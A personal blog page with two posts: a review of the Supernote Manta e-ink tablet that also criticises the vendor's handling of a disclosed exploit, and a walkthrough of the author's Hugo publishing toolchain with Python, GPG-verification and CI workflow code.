Texts on Alisceon.com

This Was Not Made for Me

Tue, 06 May 2025 12:46:40 +0200

This Was Not Made For Me 🔗

Ratta, Supernotes, and the Manta 🔗

E-ink, as a technology, is in a very exciting place right now. It is by no means a new technology, but as with a lot of tech it has required a lot of time to simmer in order to reach a state that is consumer-ready. It has some inherent qualities that clash a lot with a lot of modern usage patterns for tech, the refresh rate being the most obvious. This has relegated the technology to devices with specialized applications, such as the Amazon Kindle. But the hard lines between a strict e-reader and other tablet devices has started to more and more blur as display technology has gotten better and as more companies has entered the race. Most notable for this text is Ratta, the company behind the Supernote series of e-ink tablets.

Ratta hasn’t been around for very long, but that is quite common in the e-ink space which previously has been practically an amazon monopoly with some upstarts coming and going along the way. Their philosophy is comparatively focused on the long term sustainability of their products at a hardware level, while keeping their software stack streamlined and functional. This is a hard balance to achieve, but they have made an admirable job of it. A comparison that comes to mind is “imagine a Fairphone that runs Apple software”, which is somewhat representative of the user experience to me. There are obviously issues with it, I don’t find it a perfect device by any means, but the shortcomings always have reasonable explanations and don’t impair the intended usage of the device. However, as with most tech I get my little hacker hands on, I had no intention of using it as intended

Distraction-free environments 🔗

I feel like quite a rare breed sometimes, at least in some conceptualization of the “average” person. I am not prone to things like “doom scrolling” or similar ways of converting the general malaise of life to something more bearable- it is simply not engaging enough. This is likely the reason why I despise my phone, not tech in general of course, but my phone specifically. My reasoning for this spite is quite simple and utterly intrinsic to how smartphones work; it is a small screen with a terrible user interface. Thus the little black mirror struggles with “distracting” me from anything as most things are simply more engaging to me than interacting with it. I suspect my ADHD has to do with this disinterest since my relentless unwavering pursuit of anything that creates the funny little dopamine molecules in my brain somewhat immunizes me to something so… dull.

Not that I can reliably focus on most things of course, distraction is most certainly my most consistent state, but most things most people find distracting seem to not even scathe my scattered brain. But I do tend to align the tech I have with my preferences overall. My phone will, for instance, only ever make itself heard if whatever it wants to say is urgent. Focus modes and Shortcuts on iPhones are a blessing for accomplishing this as they make sure only exactly the apps I want to make noise get to but doesn’t kill notifications entirely. My point is that I too have had to do quite some fanageling to create an environment that I am comfortable in, I understand that the defaults here are anything but sane. The same goes for the machines I more regularly use, like my workstation and laptop. They will not try to rip my attention away from something unless I’d want my attention ripped away by what they have to say.

For me this disposition is obvious, apparently it is less so for others as one of the leading ideas in marketing a lot of e-ink devices (especially the Supernotes) is that they are free of distractions. As someone who is used to an environment where the only distractions received are welcome ones, this seems somewhat counter-intuitive. But I am also the kind of psycho that uses three monitors, all of which are filled with things. I will reduce margins on text and other media so that I can use every single pixel of display real-estate as efficiently as possible. Information overload was just never an issue for me, nor was ignoring a blinking notification light. I’ve been more or less glued to a computer monitor or counting the minutes until I can be again since about age 5, so i want everything, everywhere, all at once with no arbitrary limitations on the flow.

For those who write 🔗

I can’t remember ever enjoying wielding a pencil for writing. Plenty of people say they remember better when they take notes by hand, others say it makes the writing feel more intentional and purposeful; I frankly envy that relationship to the pen. I, on the other hand, experience only a mild to intense pain in my fingers from writing by hand. Luckily I haven’t had to do so much recently, except for the math and physics classes in Uni. Those exams were torturous for me for entirely different reasons than my peers it seemed as their pain was presumably more existential whereas mine was primarily physical. Needless to say, my aversion to writing by hand has left my handwriting in a sorry state, barely legible to myself let alone some OCR system.

The Supernotes however is marketed under the slogan “For those who write”; clearly an interest of mine, just not one a pen and infinite notebook could aid. However, from what I have heard from others around the internet, this seems to be the primary use for it. And I can see why people who are already writing a lot by hand would see it as a clear upgrade- the feature list for this use case is staggering. I’ve only messed around with it a bit, but it seems to be incredibly well implemented as well. As I learned to type on a keyboard about the same time as I learned to write by hand, it comes incredibly naturally to me. On top of this, the medium I learned to type on a keyboard on was naively digital and hence came with a lot of features. These features didn’t exist on the medium I learned handwriting on- paper, making the process of writing on it feel sluggish and counterproductive. Had I learned to handwrite on a medium like the Supernote from the start a lot of those medium-specific conveniences would be there for me and I might have grown to enjoy using a pen more.

Not for those who tinker 🔗

That heading is a bit misleading as there most certainly are some opportunities for tinkering with the Manta. But it isn’t made FOR those who tinker, those who tinker are an afterthought and a compromise. The hardware is comparatively open, the pen being a particular standout, which allows people to put together some custom designed solutions. I have seen projects for custom designed pens, cases, folios, and such circulating and the DIY spirit of the community really shows. But the hardware is still proprietary, and so is the software to a large extent (i.e. a lot of the android core components are still open source, but the Supernote specific software isn’t). The serial number system they have put in place is somewhat distressing as it implies that third party components can be gatekept if they were to start being developed. So my hopes are very low for a Framework-style open hardware solution where full documentation on components is released for use by third parties to expand the system that the platform is built with.

You can, however, load arbitrary APKs on the device- a freedom not afforded on a lot of e-ink devices. Your mileage may vary due to hardware limitations, but that is a given due to the inherent restrictions of the display technology. Not much anyone can do about that without a concerted effort between wildly disparate parts of the industry. But the hardware is not the only blocker for running custom software on Supernote devices, the software stack is also quite limiting due to it’s age. The Manta runs a slightly modified Android 11, an operating system from 2020 which lost official support from Google in early 2024. A lot of system apps, like Android System WebView, run on similarly outdated versions which breaks a lot of apps that depend on those components. While rooting the device is pretty trivial, and there have been no real efforts to stop it from happening from Ratta, it isn’t officially supported. But even with root access, your ability to easily modify the system is somewhat hampered. So upgrading WebView yourself, for instance, seems quite a moot effort if you don’t want to really get into the system internals and rummage around.

Some things, like the default android settings menu, is also hidden from the end user in the default interface. There apparently was a workaround using fonts and the kindle app, which was supposedly patched, but that was the only on-device way I could find of accessing the Android settings. Even so, it was just easier to manage the device with ADB instead (you can pop the settings just like you would any app: adb shell am start -a android.settings.SETTINGS). But excluding a few infuriating cases, most apps run fine on the Supernote. The display is good enough to run basically any app no matter how low-contrast their very sleek and modern UI might be. I avoid third-party apps where I can on the device, and it just keeps working for whatever i use it for- we will get to that part later. I just have one thing left to address first.

The massive elephant in the security blog 🔗

It was quite recent that this article by PRIZM Labs was published and flew right to the top of my algorithmically curated feed. In short, it details a very cool exploit to gain persistent root access to a Supernote device with no user interaction over a network. This is in professional terms: really, really bad. It is also an excellent example of security suffering due to a need for user convenience, which is a very common story. If you are curious about the details, I highly recommend reading the writeup- it is excellent. The issue I want to talk about isn’t how there was a security vulnerability in the device, that happens all the time, but rather the seemingly complete disregard from Ratta in addressing it.

It is seen as generally good practice to perform what we in the industry call a “responsible disclosure” to the vendor when you find a vulnerability in their product. Occasionally you do this to earn a so called “bug bounty”, other times you are just trying to help the vendor, and the users of their products, out by highlighting an actual issue. While it is rare nowadays to see a company outright ignore a responsible disclosure, let alone react to it aggressively like in the olden days, it does still happen. But to light a proverbial fire under the metaphorical ass of a vendor, it is also seen as OK to release a vulnerability to the public to spur a patch being released ASAP. In my personal experience, well written disclosures are handled with utmost urgency and patches released as soon as humanly possible.

Ratta, sadly, has not acted in this way. The disclosure timeline at the end of the PRIZM Labs article shows an incredible disregard for the security of their product. The issue was disclosed to Ratta at the end of July 2024, with two monthly follow-up emails until they get a reply in October. The PRIZM team then submits a full technical report with all the details about the exploit, and later reminds Ratta of the earlier set deadline for public disclosure. Ratta then responds that they plan to address the issue in the December update- nearly 6 months after initial disclosure. PRIZM agrees to hold off on publishing their findings until this update rolls out. I understand that Ratta had their hands quite full around this time in 2024, there was a lot going on, but this SHOULD take ABSOLUTE priority to remediate.

I don’t know how much has changed at Ratta since this all went down, and I was not familiar with the company before July 2024 so I can’t evaluate their progress from the outside either. But their website now has a vulnerability disclosure policy listed which includes a security@ email, a commitment to acknowledge the vulnerability within 15 business days, and deploying a fix within 90 days for simple vulnerabilities. They also state explicitly that they will not pursue legal action against those who comply with the policy. This is an industry standard timeframe that I am happy to see that they are committing to. We shall see if that holds up I suppose.

The attack vectors against the device if used as intended, without sideloading or any similar third-party modifications, is pretty slim. But since they already passed the 1-year mark since their OS stopped receiving support from Google, it is only a matter of time before something dangerous for all users creeps up. Naturally, we gung-ho sideloadin’ types are by far the largest risk group, but the PDF-receiving regular users are also at risk. And given how large the enterprise userbase is, I implore people to do a structured risk analysis of using the device. This goes beyond concerns of data sovereignty (which is also a huge issue in a lot of industries) and affects the direct security of individuals and businesses.

The Ratta cloud solution and concerns about China 🔗

I thought I should mention this, given how the rest of the text is looking. I really don’t see the issue here. I don’t use the built-in Supernote sync because it is simply not a good end-user experience for my applications. The serial key registry is a bit shady, but not weirder than most tech you buy today, just more transparent with user choice. They now offer more servers than before, so I can house my data closer to my jurisdiction, which is preferrable to the US or China. But it’s not like I expect Ratta, or any other regular software company, to keep my data with any kind of sane privacy policy or not cave at the least bit of legal pressure. So this is just not a point where I can see Ratta as worse off than any other part of the industry, in fact they are probably better than most as they don’t force me to use their offsite services. They actually encourage offline use to a great degree, and that is wonderful to see. If you are actually more scared of Chinese companies than others by default, you are simply delusional.

A recap of the feature list 🔗

So there is a lot to the Supernote that I haven’t covered here. Mostly this is because I find my issues or apathy towards them boring, but I will make an attempt at just rattling some off here to have some more bases covered. This is by no means a comprehensive list of all the possible things you can do with the Manta, just the ones that I have interacted with.

The kindle app 🔗

Never will I ever use Kindle as a reader unless absolutely forced. Not here, not anywhere. Now that Amazon is bumping their DRM this may become a larger issue, but I have survived until now not turning a single page within their apps.

The built-in reader 🔗

I like it! It’s snappy, works with all the file types I care about, and has all the features that I need. A lot of people seem to prefer other readers with richer feature sets, but a lot of those features pertain to text-heavy PDFs which is something I never interact with on the device. Very rarely do I consume text by reading several pages “cover to cover”, so the default reader is perfect for me

Digest 🔗

I don’t use it since I don’t touch text heavy PDFs. Simply no use case for me.

Mail 🔗

It is a sub-par email client from what I have seen from others. I can see why it is on the device, but it can’t even load my primary mail so I literally cannot use it myself. The fault there is obviously not on Ratta, Protonmail is a highly incompatible service and I don’t expect any first party to support it.

Calendar 🔗

I’m sure someone has a need for a calendar without colour, that doesn’t show event names in the grid, and that is writable with a pen which doesn’t sync to other devices. But that person is not me.

To-Do 🔗

Can’t sync with my other reminders lists on other devices, and if my reminders cant remind me with one of those little “distractions” mentioned way back- they are useless to me.

Files 🔗

A featureless but perfectly cromulent file manager, no marks except it’s inability to access all files on the filesystem.

Atelier 🔗

Basically the reason I got the device. It does drawy stuff and it is quite barebones- perfect!

Notes 🔗

Since the introduction of the straight line feature, I find myself using it more and more. I’d love some more things like an infinite canvas, but it has replaced what little paper there was in my life.

So why did I even get it, let alone keep it? 🔗

I’ve spent a not inconsiderable amount of page-space outlining a bunch of reasons that you shouldn’t get a Manta; or rather why I shouldn’t have gotten one. And despite all of this, I still have one and like using it a lot, how can that possibly be? It’s honestly quite simple: I don’t expect it to accommodate me. It does a perfectly perfect job of doing what I got it for, which is really not a lot. I had found myself wanting to draw more, or rather: doodle. But as I ran out of what little paper I had left over from uni, and snail mail dwindling in quantity, there just wasn’t a lot of medium to do so. Of course I could buy a lifetime supply of paper and pencils for the cost of a Manta, but then the threshold of effort would increase exponentially. Doodling, as an activity, ought have the lowest possible bar to entry to facilitate it’s ages old headspace. And the Supernote offers a massive quantity of doodling possibility right at your fingertips. You could make more serious art on a Manta no doubt; I really should underline YOU there. I can’t. I’m completely inept when it comes to creating art, and I have in no way the discipline to learn or discover how to.

The second thing I wanted an e-reader for is reading electronically. Earlier I mentioned in passing that I don’t read text-heavy PDFs, which is absolutely true. Despite my mounting pile of ECTS, I am practically illiterate. My eyes just start running over the page as my mind shoots off on a tangent abut other things. Text is just a thoroughly unengaging medium for me. It is quite ironic then that I enjoy writing as much as I do, but that kind of irony does seem to permeate my life. What I can read, however, are image-heavy CBZs and the Manta handles these excellently. I’ve hacked together pseudo-readers in the past from old tablets and such for this express purpose and they always sucked in one way or another. The rendering of the images was slow, there were a bunch of issues with the reader overall, the things just ran out of battery immediately. Terrible. The Manta has infinity battery, a really quick reader, and just works perfectly. If what you read has a lot of colour, your mileage may vary, but it still works for that too. I’ve absolutely destroyed graphical novels on this thing and it’s been a blast getting back into it.

Last, and least, I use the device to obliterate the last bastion of productive paper use in my life: casual physics. The one thing I could never use a computer for was quick statics calculations that any normal human needs to do in their everyday life. Sometimes you just need to do some trigonometry as well, and I am not drawing triangles on a computer and hell will sooner freeze over than me developing the ability to keep them in my head. Equations have a slightly lower need, as a programmer I’m already used to the clumsy interface that is text files to communicate maths, but still a welcome addition to my life.

I got the device for it’s beautiful screen, which will likely be rendered obsolete by new tech in a year or two. But it has reached a point that even if it is completely dominated by developments down the line, I am certain that I will happily use the device for years to come. Even if I shove my face right up to the display, I cant count the dots which is more than enough for me. Given Ratta’s commitments to repairability and maintenance down the line, my Manta will chug along even if things break on it. Even if they go out of business, the device is usable enough as is to not lose viability for ages either. You can always just hook it up to another machine to transfer files onto it, so it doesn’t even need to be online. As someone who hunts convenience with a rare bloodlust, and who finds optimizing expenditures and amazing pastime- this device is just perfect.

So to summarize 🔗

There are plenty of reasons to not get this tablet. Especially as someone who really has no use for most of the features that set it apart from the competition. But even if you are someone whose hand immediately punishes them with great amounts of pain if they dare use it for writing, there is a use case for this surprisingly light paper-killing slab. But don’t expect it to be what it isn’t, and that’s just a general rule for getting any kind of tech. I’m not a gadget loving person, most of the things I own in ways of tech are out of necessity and not desire, but sometimes a need makes itself clear only once met. I didn’t know that I needed to kill off paper once and for all, but now that I do I think I might struggle to sit in an exam hall with a shitty pencil writing on printer paper even more.

A blog writer's Workflow

Sun, 24 Nov 2024 23:42:20 +0200

A blog writer’s Workflow 🔗

So while I haven’t exactly posted a huge deal on this blog, as I suspected, I have been very active considering posting to it. To that effect my brain has been endlessly throwing ideas at me to improve how this site works in the backend, because procrastinating writing by programming is almost fine! So in this post I aim to detail a bit how this workflow works, from the humble keystrokes you are reading to the actual deployed HTML you are reading them on. Just like my other posts, I want this to be accessible even if you aren’t a computer wizard (but some technical knowledge will be assumed).

An overview of the process 🔗

As the little footer on this page may lead you to believe, this blog is built with Hugo. Hugo is a static site generator written in Go that gobbles up your structured textfiles and spits out rendered HTML. This means that all of my posts start out as Markdown (md) files in a directory structure that mimics that of the blog. At the time of writing the directory with the blog content looks a little something like this:

content/
├── about.md
└── texts
    ├── blogwriters-workflow
    │   ├── grimagoire-example-input.png
    │   ├── grimagoire-example-output.png
    │   ├── grimagoire-example-output.svg
    │   └── index.md
    ├── bluesky-phishing
    │   ├── 6v-page.png
    │   ├── index.md
    │   ├── landing-page.png
    │   ├── redirect-page.png
    │   └── scammer-intro.jpeg
    ├── _index.md
    ├── letter-to-myself
    │   └── index.md
    ├── writeup-kattastrofen
    │   └── index.md
    └── writeup-undutmaning-raring
        ├── index.md
        ├── wireshark-1.png
        └── wireshark-2.png

If I were more tryhard, I would offload all the non-text files to another content management system (CMS) but as this blog isn’t quite at that scale it is simply not needed. Hugo can use these files together with a theme to generate the content of the page in crisp HTML format which can be viewed by people like yourself! Good thing tools like this exist because there is not a single frontend-writing bone in my body, hence the minimalist aesthetic of this blog.

Hugo can also be a webserver, and I served this site like that for ages, but I have moved on to using Caddy for serving what hugo generates again. This way I have a somewhat more direct grasp of what exactly is served, which we will return to later. In order to get from a bunch of md files on my local machine to a blog in the 🌈cloud🌈 a few more steps need to happen. Firstly, we need to get this “source” into the cloud as well, so we can turn it into HTML in the right place. Secondly, we need to actually do that compute and also manage to get the results into the right place. Lastly, we need to display this hard work to the ever-distant public. For this we will “need” some tools, some source control, and some continuous integration!

Git, the information manager from hell 🔗

Since the contents of most programming projects are textfiles, programmers have gotten pretty good at managing them. While there are solutions today for collaborating live on text documents with others, the experience is nothing like using a source control system. Git is not the first such system to be developed, but has since its original release in 2005 become the default source control tool anywhere. Seeing as this project too is mainly a bunch of textfiles, it is a very useful tool in managing them. Repositories are the core of git, and can be looked at like a directory with a global undo/redo feature that anyone collaborating on a project can use. It tracks all the history of changes to every file, it tracks all the current branching changes to the directory, and it helps consolidate changes from various points in time to a cohesive whole.

Hugo very much prefers that you use git to manage the content files that it uses to generate the static site with, so it really isn’t that optional. Themes for hugo, like the one that the one this site uses is based off of, are managed as git submodules- a kind of a repository in a repository. This way you can both track your own content files in your git repository AND get all the new stuff for your theme from its upstream and not have them interfere with each other. Pretty neat, actually.

The toolchain 🔗

Now on to the most exciting bit, my custom cute little toolchain! I am the type that would rather implement something myself than having to learn the syntax of someone else’s perfectly functional tools. So it shouldn’t come as a surprise when I inevitably end up reinventing the wheel every now and again. But some of my creations in this toolchain are a bit more novel, and proportionately less useful. The same goes for my names, as i never really care to double check them once they pop into my head. All of these tools have their own code repositories, but are bundles ad submodules into a unified “tools” repository. This meta-repository is then used as a submodule in the repository that houses this blog, letting me keep it updated when I work with my tools, but not having to bother moving them an installing them everywhere. Of course there is a benefit to properly packaging and distributing your tools as well, but as before the scale of this project really doesn’t warrant that degree of complexity or effort.

Image manipulation with grimagoire 🔗

Grimagoire is a python script I wrote, with components that are years and years old, to do some basic image manipulation on the site. Currently, it has support for EXIF data scrubbing as well as ASCII-ification of images. EXIF data is a small data segment in image files that holds some metadata about that, which is super handy in a lot of situations. However, the metadata can also prove a privacy concern in situations where an image is shared. It can reveal data very directly, like a geographical location where a picture was taken, or less direct data like when. Most social media sites today will read such metadata of things you post there to gather some more information about you, the poster, then stripping it before allowing the public to access it. When you self host your images, however, there is no service to do that data stripping so you have to do it yourself! Enter Exifnt:

import PIL.Image
import PIL.ExifTags

class Exifnt():
    def __init__(self, img):
        self.img = img
    
    def get_exif(self):
        if not self.has_exif():
            return None
        exif = {
                PIL.ExifTags.TAGS[k]: v
                for k, v in self.img.info["exif"].items()
                if k in PIL.ExifTags.TAGS
            }
        return exif

    def has_exif(self) -> bool:
        if "exif" in self.img.info and self.img.info["exif"]:
            return True
        else:
            return False

    def rm_exif(self):
        tmp = PIL.Image.new(self.img.mode, self.img.size)
        tmp.putdata(self.img.getdata())
        self.img = tmp
        return self.img

Exifnt uses pillow, the likely most widely used python image management library, to work with images. It can simply check if an image has any EXIF data, which is useful in running automated tests, but it can also strip it. It does this quite simply by creating a new pillow image object and only moving the image data from the desired image to it. This simply skips copying the metadata which is subsequently thrown to the cosmic winds. This feature is called as a git pre-commit hook, i.e. it runs every time I try to add something to the repository, which scrubs out EXIFdata from images throughout the repo.

Grimagoire can also do some cute little image conversions, like turing an image into ASCII character art. So you can go from an image like this:

To a rasterized image like this:

Or a vector graphics output like this:

Which is just there for a fun effect, and if I ever upload images to the blog that are not screenshots of #HackerSoftware, I will likely be using this to stylize them.

Language controls with texchecks 🔗

Texchecks is an interesting little project that grew into a terrible spaghettified mess very quickly. I hadn’t worked with the OpenAI API for ages, but I knew that I wanted SOMETHING to check for errors in my texts beyond a simple spellcheck. Naturally I could get something like grammarly into my IDE, but that seemed dull so I wrote my own solution instead. Initially, I wanted it to work like pytest but that ambition turned from function to form very quickly as I realized how incredibly unreliable ChatGPT is. Sure it managed to consistently find all things like spelling and grammar errors in the text… but it also made some up just out of nowhere. I added a very abridged and horizontally trimmed output of what texchecks gives from reading this very text at the time that I am writing these words.

======== 1 spelling mistakes found in the text ========
============== | Line: 38 | char: 15-22 | =============
If I were more tryhard, I would offload all the non-tex 
               ~~~~~~~
Change to: try-hard
Reason: Hyphenation is required for compound adjectives.

========= 2 grammar mistakes found in the text ========
============== | Line: 45 | char: 23-39 | =============
Hugo very much prefers that you use git to manage the c
                       ~~~~~~~~~~~~~~~~
Change to: that you use Git
Reason: 'Git' should be capitalized as it is a proper n

============= | Line: 43 | char: 763-780 | ============
all the current branching changes to the directory, and
                ~~~~~~~~~~~~~~~~~
Change to: branches of changes
Reason: Preferable phrasing for clarity.

======= 1 formatting mistakes found in the text =======
============== | Line: 91 | char: 0-36 | ==============
### The workflow within the workflow
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Change to: ### The Workflow Within the Workflow
Reason: Consistent capitalization in headings.

======= 2 word choice mistakes found in the text ======
============= | Line: 15 | char: 140-150 | ============
tructured textfiles and spits out rendered HTML. This m
                        ~~~~~~~~~~
Change to: processes
Reason: 'Processes' is a more formal and precise term.

============= | Line: 40 | char: 500-524 | ============
Secondly, we need to actually do that compute and also 
                     ~~~~~~~~~~~~~~~~~~~~~~~~
Change to: actually perform that computation
Reason: More precise terminology for technical context.

======= 1 general improvements found in the text ======
=============== Use of emoji is informal ==============
Suggestion: Replace emoji with text if formality is nee

=======================================================

It’s not great, I find. Some of the things it suggests would turn the text into the same mechanical slop that it itself generates. Big surprise, isn’t it? This makes the original idea of using this as a pre-commit dubious at best and it has since been relegated to the infernal position of being ran as needed. It never helped its case that it costs (literal nickels) to run as well, which adds scary scary cost to writing. But as LLMs are literally big text statistics boxes, it is pretty good at picking out where my texts have issues that my text-blindness renders me incapable of noticing by myself. Future development plans include some other text check things, like an actual spelling library perhaps, or something that capitalizes standalone “I"s, which my non-native self always fails to do. I am looking into Gemini as a replacement for ChatGPT as well, it just might not make stuff up about my texts.

Formalities with fixaform 🔗

More often than not I manage to write a post within a few hours, since I don’t start writing unless I WANT to write. But sometimes it takes me a while to get around to finishing a post, which reflects poorly in things like that little timestamp at the top of the page. Never fear, fixaform is here! Fixaform checks all the little things in the Hugo header, which is a yaml data structure and even fixes it where able. So if my date is more than a day old at time of publishing, it simply sets it to the current time which more than likely reflects when I got those final revisions done. This script, like exifnt, is called by the pre-commit hook so it runs every time I try and submit something to the git gods. It corrects the small inconsistences that bug me otherwise and makes that barrier to posting just a bit lower.

Signatures with siggy 🔗

The final component of this little toolchain for now is siggy, the signer. Siggy is a glorified shell script that I typed up one evening in python which recurses through a directory structure and signs all the files of a certain extension with GnuPG. PGP signing is basically THE way to prove that something was authored by someone, which isn’t perhaps critical for a blog so I’ve been lax on a few of the security features one should observe. The idea is that I can, with my super secret private key, generate a cryptographic proof based on a file. This proof, also known as a signature, can then be validated using a public key which anyone can access. So, with a file (or any lump of data), a signature of that file made with a private key, and the public key corresponding to that private key, you can mathematically prove that that private key signed that file. Now, if you can also prove that that private key belongs to a specific entity and only they have access to it then you can prove that that entity created a certain file.

Siggy’s role, then, is to use my private key to sign everything important on this blog, which is texts and images (though it can be extended to arbitrary file formats of course). You can go right now and grab the signature for this page from the footer, there you will also find the link to my public key with which you can verify that I wrote this text. In order to do so you would first download the public key which you can get with curl:

https://alisceon.com/gpg-key.pub

and the signature which can be found at:

https://alisceon.com/texts/blogwriters-workflow/index.html.sig

The last part you need is this page, which is… here!

https://alisceon.com/texts/blogwriters-workflow/index.html

Then you need to check that index.html.sig actually signs index.html with gpg-key.pub. So first import the key with:

gpg --import gpg-key.pub

Then verify the signature and data with:

gpg --verify index.html.sig index.html

As a simple script it would look something like this

#!/bin/bash
mkdir .tmp
cd .tmp
curl https://alisceon.com/gpg-key.pub -O
curl https://alisceon.com/texts/blogwriters-workflow/index.html.sig -O
curl https://alisceon.com/texts/blogwriters-workflow/index.html -O
gpg --import gpg-key.pub
gpg --verify index.html.sig index.html
cd ..
rm -rf .tmp

And naturally you can change the URLs for whichever post you want to check the signature of. To make the process a bit easier, I added the public key and signature to the footer of every page. Siggy can also verify the signatures of an “entire” domain (it only looks where the host asks it to, out of kindness) that follows the same format, which is how I can test and make sure the deployment went well.

There is an issue with this approach that needs to be remarked on: “how in the seven hells would you verify the key belonged to me?”. If someone steals control over the website they can just swap out the public key and re-sign everything! You only have one source of truth in this case, which is this site. This is not enough to actually trust a PGP key, and by extension its signatures. You need more sources of truth, and the more you have the higher degree of trust you can have. This is why people will sign each other’s keys, proving that they trust that key’s legitimacy. This creates a web of trust over time where a key is as legitimate as whoever has signed it with their key which is as legitimate as whoever has signed it and so on. My key is signed by… noone! At least noone that whose signature bears any weight, and it shouldn’t be as I have provided no proof of my control of it. This is more a deployment for fun and demonstrative purposes than an actual security feature for the blog, which is why i mentioned earlier that this is in no way critical. If you distribute any kind of executable, pretty please provide a signature with more robustness than this. In theory this adds a layer to protect against Man-In-The-Middle (MITM) attacks as well, but that is already damn near impossible given that this site will only allow HTTPS connections.

The workflow within the workflow 🔗

Now that we have looked at the stack of tools I use to make my work easier, we will have a quick look at how they actually run. Some have functionality, as mentioned before, that runs before a commit is made. This is handled through a git hook that is part of the tools repository, very simple. The next stage happens after things are pushed up to the remote repository however. Here we trigger what the GitHub-o-sphere calls a workflow or what the GitLab-o-sphere would call a CI/CD pipeline. It’s all just fancy words for a script that runs within the context of a repository. What I have done with this repo is highly standard, I have a protected main branch (which means it cannot simply be pushed to), and feature branches that need to be merged into it. The branch that this will be pushed on is called blogwriters-workflow as this post is the main content of it, which makes it easier to see which branch relates to which feature.

When pull request, i.e. a request to merge a feature branch with main is opened, my gitea repository triggers a workflow. This workflow runs a few tests to make sure that the contents of the feature branch are production-ready. This is super simple to wrap your head around when you hve traditional code to work with, as testing suites makes it very clear cut what is and isn’t ready to go “live”. But as previously mentioned, we mostly work with text files which are not quite as clear cut. This is where the tools return! Alongside their ability to make little corrections and suggest changes, they can also test my content. Grimagoire tests my images to make sure EXIF data is removed and fixaform looks for metadata inconsistencies. They will light up a big red X if they aren’t completely happy with the contents of the blog, much like pytest would with misbehaving python code. When they are happy, the workflow tries to build the site with Hugo just to see that it works. Lastly, siggy tries to sign all the files it needs to in the output directory- to make sure everything there works as well. This part could be called “Continuous integration”, if you stretch the definition a bit.

name: Test hugo site
on:
  push:
    branches:
      - '!main'
  pull_request:
    branches:
      - main
  workflow_dispatch:
defaults:
  run:
    shell: bash

jobs:
  test:
    runs-on: ubuntu-latest
    container:
      #I build my own hugo image because I was having issues with all 
      #the public ones and I'm a nerd who likes to build things.
      image: registry.alisceon.com/alisceondotcom/hugo
      credentials:
          username: ${{ vars.REGISTRY_USER }}
          password: ${{ secrets.REGISTRY_TOKEN }}
    steps:
      - name: Checkout
        uses: actions/checkout@v4
        with:
          submodules: recursive
          fetch-depth: 0
          path: '.'
          token: ${{ secrets.ACCESS_TOKEN }}
          github-server-url: https://git.alisceon.com

      - name: Install python deps
        run: |
          python3.11 -m pip install -r tools/requirements.txt

      - name: List changed files
        run: |
          git diff --merge-base --name-only origin/main \
          | tee .changed-files

      - name: Pre-build tests
        run: |
          python3.11 tools/grimagoire/grimagoire.py \
            --config tools/grimagoire/config.yml \
            --input .changed-files exifnt \
            --test
          python3.11 tools/fixaform/fixaform.py \
            --config tools/fixaform/config.yml \
            --input .changed-files

      - name: Build with Hugo
        env:
          HUGO_ENVIRONMENT: production
          HUGO_ENV: production
        run: |
          mkdir ./public
          /usr/bin/hugo \
            --gc \
            --minify \
            --destination ./public \
            --baseURL https://alisceon.com

      - name: Post-build tests
        #It isn't what I'd call AMAZING practice to store PGP keys even as 
        #secrets, but it is fine with my current threat model and layout. 
        #If someone has gotten access to my repo, I'm in for far worse of 
        #a time than any amount of illicit signing could impart.
        run: |
          echo "${{ vars.GPG_KEY_PUB }}" > gpg-key.pub
          echo "${{ secrets.GPG_KEY }}" > gpg-key.priv
          python3.11 tools/siggy/siggy.py ./public -sv 
          rm gpg-key.pub gpg-key.priv

If the last commit in the branch that the pull request is open for clears all of those tests, then I can click the big nice merge button, and the feature branch is merged into the main one. When this happens, another workflow triggers: the deployment workflow. This workflow first creates a job that builds the site and then uploads an artifact to Gitea. The artifact that this job produces is a simple zip of the entire static site, which is nice to have laying around if ever needed. Another job then triggers which pulls that artifact right back down and extracts it. Then it runs siggy to sign all the files that needs signing right before rsyncing those files to the deploy directory.

name: Deploy Hugo site to Container
on:
  push:
    branches:
      - main
  workflow_dispatch:
defaults:
  run:
    shell: bash

jobs:
  build:
    runs-on: ubuntu-latest
    container: 
      image: registry.alisceon.com/alisceondotcom/hugo
      credentials:
          username: ${{ vars.REGISTRY_USER }}
          password: ${{ secrets.REGISTRY_TOKEN }}
        
    steps:
      - name: Checkout
        uses: actions/checkout@v4
        with:
          submodules: recursive
          fetch-depth: 0
          path: '.'
          token: ${{ secrets.ACCESS_TOKEN }}
          github-server-url: https://git.alisceon.com

      - name: Build with Hugo
        env:
          HUGO_ENVIRONMENT: production
          HUGO_ENV: production
        run: |
          mkdir ./public
          /usr/bin/hugo \
            --gc \
            --minify \
            --destination ./public \
            --baseURL https://alisceon.com

      - name: Upload site artifact
        uses: actions/upload-artifact@v3
        with:
          name: hugo-snapshot
          path: ./public
          retention-days: 90

  deploy:
    needs: build
    runs-on: hugo-deploy
    env:
      HUGO_VERSION: 0.124.0
    steps:
      - name: Add dependencies
        run: |
          apk add --update npm rsync python3 py3-pip gnupg

      - name: Checkout
        uses: actions/checkout@v4
        with:
          submodules: recursive
          fetch-depth: 0
          path: './source'
          token: ${{ secrets.ACCESS_TOKEN }}
          github-server-url: https://git.alisceon.com

      - name: Get tools
        run: |
          mv ./source/tools ./tools

      - name: Install python deps
        run: |
          pip install --break-system-packages \
            -r ./tools/requirements.txt

      - name: Get artifacct
        uses: actions/download-artifact@v3
        with:
          name: hugo-snapshot
          path: ./staging

      - name: Sign off
        run: |
          echo "${{ vars.GPG_KEY_PUB }}" > gpg-key.pub
          echo "${{ secrets.GPG_KEY }}" > gpg-key.priv
          python3 tools/siggy/siggy.py ./staging -sv 
          rm gpg-key.pub gpg-key.priv

      - name: rsync out
        run: |
          rsync -rv --delete-before ./staging/* /deploy
          chmod -R 755 /deploy/*

But wait I hear myself ask, how does that actually end up where Caddy can get the files? See, here is where we get a little bit tacky. The last job runs on a runner with the label “hugo-deploy”, of which there is only one and that runner liver right next to the caddy container. Whereas my ubuntu-latest runs in a docker-in-docker setup that is very well segmented from the host, this one ain’t. It only ever gets this exact job to run, and nothing else which limits it’s exposure to potential external hijinks. Unless alpine/python/npm/rsync/etc gets hijacked (at which point my little cloud image is the least of my worries) or my Gitea is compromised (which means my entire server is anyways), this is going to be predictable in its execution. As with earlier, this is a compromise that I am willing to make for this deployment that I would not necessarily do in other cases.

The sausage has now been made! 🔗

